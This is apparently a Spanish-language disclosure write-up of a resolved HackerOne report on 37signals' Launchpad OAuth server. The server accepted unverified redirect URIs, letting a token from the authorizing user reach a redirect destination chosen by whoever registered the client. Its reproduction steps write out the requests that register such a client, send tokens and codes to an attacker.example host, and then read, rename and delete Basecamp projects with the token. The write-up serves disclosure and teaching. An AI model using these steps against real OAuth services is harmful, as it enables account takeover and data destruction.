Resumen
launchpad.37signals.com es el servidor de autorización OAuth2 propio de 37signals y la puerta de entrada de autenticación de Basecamp. El fallo estaba en cómo confiaba en los clientes OAuth que registraba cualquier usuario: POST /integrations aceptaba el redirect_uri que se le indicara, sin comprobar quién controlaba ese destino, sin aprobación y sin validar el esquema ni la estructura de la URI.
Después, al autorizar, Launchpad trataba esa dirección como destino de confianza. Quien registraba el cliente y quien lo autorizaba podían ser personas distintas, pero la credencial de quien autorizaba acababa en el destino elegido por quien lo registró. Lo que el investigador pone en duda no es que la URI coincida (Launchpad exigía coincidencia exacta al autorizar y al canjear), sino que nadie hubiera verificado esa URI al registrarla.
Dos decisiones agravaban el problema:
- Seguía activo el flujo implícito heredado (
type=user_agent), desaconsejado en RFC 9700. Entrega elaccess_tokendirectamente en el fragmento de la URL, sinclient_secretni canje de código. - El registro admitía destinos problemáticos:
http://en loopback, esquemas propios comomyapp://y URIs con comodines.
El token resultante no servía solo para consultar la identidad: funcionaba como credencial Bearer contra la API REST real de Basecamp (3.basecampapi.com), con capacidad de lectura, escritura y borrado.
El investigador propuso AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H (9.1, crítica), aunque el reporte figura en HackerOne con severidad alta. El programa lo dio por resuelto y pagó recompensa, de importe no público. Se envió el 20 de agosto de 2026 y se divulgó el 30 de octubre de 2026.
Pasos de reproducción
El investigador lo probó todo con una cuenta gratuita propia, en la que el registrante y quien autorizaba eran la misma identidad; no se contactó con ninguna víctima. Usó dominios .example, reservados y que nunca resuelven, por lo que para repetirlo hay que usar un host propio.
1. Registrar el cliente. Con una sesión iniciada, se envía un POST /integrations en multipart/form-data:
integration[name] = <attacker-chosen>
integration[organization] = <attacker-chosen, free text>
integration[about_url] = <attacker-chosen>
integration[products][] = bc3
integration[redirect_uri] = <attacker-chosen, accepted verbatim>
La respuesta es un 302 a /integrations, sin ningún paso de aprobación. El client_id y el client_secret aparecen en /integrations/<id>.
2. Obtener el token por el flujo de código de autorización. La víctima abre esta dirección y ve la pantalla de consentimiento en el dominio legítimo. El parámetro type=web_server es obligatorio; sin él, la respuesta es un 400:
GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=web_server
Tras el consentimiento, POST /authorization redirige a https://<attacker redirect>/cb?code=<8-hex>. Ese código está ligado a quien autorizó, y el atacante lo canjea con el client_secret que obtuvo al registrar su propio cliente, mediante POST /authorization/token en form-urlencoded:
type=web_server
client_id=<attacker client_id>
client_secret=<attacker client_secret>
redirect_uri=<attacker redirect>
grant_type=authorization_code
code=<the code from above>
La respuesta es un 200 con {"access_token":"…","refresh_token":"…","expires_in":1209600}. Según el investigador, el payload interno del token incluye client_id, expires_at, user_ids:[<authorizing user id>], version y api_deadbolt: queda ligado a quien autorizó, no a quien registró el cliente, y dura 14 días.
3. Alternativa sin secreto: flujo implícito. Es la vía más directa, porque solo necesita el client_id, que es público:
GET /authorization/new?client_id=<attacker client_id>&redirect_uri=<attacker redirect>&type=user_agent
Al aceptar con un único POST /authorization, el servidor responde:
302 https://<attacker redirect>/cb#access_token=<Rails-Msg-Marshal>
4. Comprobar la identidad y las cuentas.
GET /authorization.json
Authorization: Bearer <access_token>
Devuelve 200 con la identidad, incluido el correo, y las cuentas accesibles, con su href hacia https://3.basecampapi.com/<cuenta>.
5. Leer proyectos con la API de Basecamp. Con el token del flujo implícito:
GET https://3.basecampapi.com/<cuenta>/projects.json
Authorization: Bearer <fragment token>
La respuesta es un 200 con la lista real de proyectos.
6. Modificar un proyecto. Esta prueba y la siguiente se hicieron con un token del flujo de código:
PUT https://3.basecampapi.com/<cuenta>/projects/<id>.json
Authorization: Bearer <stolen victim-bound access_token>
Content-Type: application/json
{"name":"37s-bb-ih-probe-13843"}
Devuelve 200, y un GET posterior confirma que el nombre cambió en el servidor.
7. Borrar un proyecto.
PRE GET https://3.basecampapi.com/<cuenta>/projects/<id>.json → 200 name="My Project" (confirm exists)
DELETE https://3.basecampapi.com/<cuenta>/projects/<id>.json → 204 (no body)
POST-DELETE GET https://3.basecampapi.com/<cuenta>/projects/<id>.json → 404 {"status":404,"error":"Not Found"} (verified gone)
El investigador recreó después el proyecto de prueba, con el mismo token, y eliminó sus clientes de prueba con POST /integrations/<id>/removal:
POST https://3.basecampapi.com/<cuenta>/projects.json
Authorization: Bearer <stolen token, still valid>
Content-Type: application/json
{"name":"My Project","description":""}
8. Probar destinos problemáticos. Registró cinco clientes más; los cinco fueron aceptados al registrar, mostraron el consentimiento y recibieron el código:
| redirect_uri registrado | Registro | Consentimiento | Redirección tras POST /authorization | |---|---|---|---| | http://localhost:8080/cb | 302 | 200 | http://localhost:8080/cb?code=… | | http://127.0.0.1:8080/cb | 302 | 200 | http://127.0.0.1:8080/cb?code=… | | myapp://cb | 302 | 200 | myapp://cb?code=… | | https://*.attacker.example/cb | 302 | 200 | https://*.attacker.example/cb?code=… | | https://attacker.example/cb/* | 302 | 200 | https://attacker.example/cb/*?code=… |
Impacto
Un atacante solo necesitaba una cuenta gratuita de Basecamp y que la víctima aceptara su cliente en la pantalla de autorización de Launchpad, en el dominio legítimo. A partir de ahí recibía un token válido con la identidad de la víctima, y con él podía:
- Leer datos: su identidad, sus cuentas y productos y sus proyectos de Basecamp.
- Modificar datos: renombrar un proyecto, con el cambio confirmado en el servidor.
- Borrar datos: eliminar un proyecto de forma que la API responda 404 después.
En el flujo implícito ni siquiera entraba en juego el client_secret. El investigador añade que cada tipo de destino amplía la superficie a su manera: en loopback, cualquier proceso local que escuche en ese puerto puede recoger códigos; con myapp://, otra aplicación móvil podría apropiarse del esquema; y con comodines, según su análisis, un mismo registro cubriría varios subdominios o rutas.
El investigador insiste en que no se trata de phishing: la víctima realiza el gesto normal de autorización, y aunque un cliente tuviera un nombre honesto, su destino seguiría sin estar verificado. Todo se demostró con una sola cuenta, en la que registrante y víctima coincidían, así que el ataque con dos personas distintas es el modelo de amenaza que plantea el reporte, no algo ejecutado contra un tercero.
Qué aprender de este caso
- Cuando audites un servidor OAuth que admite registro de clientes por parte de los usuarios, prueba qué acepta en
redirect_uri:http://, esquemas propios y comodines. Comprueba también si esos valores se honran luego en el endpoint de autorización. - Busca si el servidor sigue aceptando flujos heredados que entregan el token en el fragmento (
type=user_agent,response_type=token). Si no hay clientes que los necesiten, desactívalos: son los que se saltan elclient_secret. - No te quedes en la pantalla de consentimiento o en
/authorization.json: usa el token contra la API de recursos real. Aquí fue lo que demostró que el token permitía leer, escribir y borrar, y no solo consultar metadatos. - Si tu API acepta integraciones de terceros, ofrece permisos por alcance: aquí el mismo tipo de token servía para leer, renombrar y borrar, y uno de solo lectura habría limitado el daño a lo primero.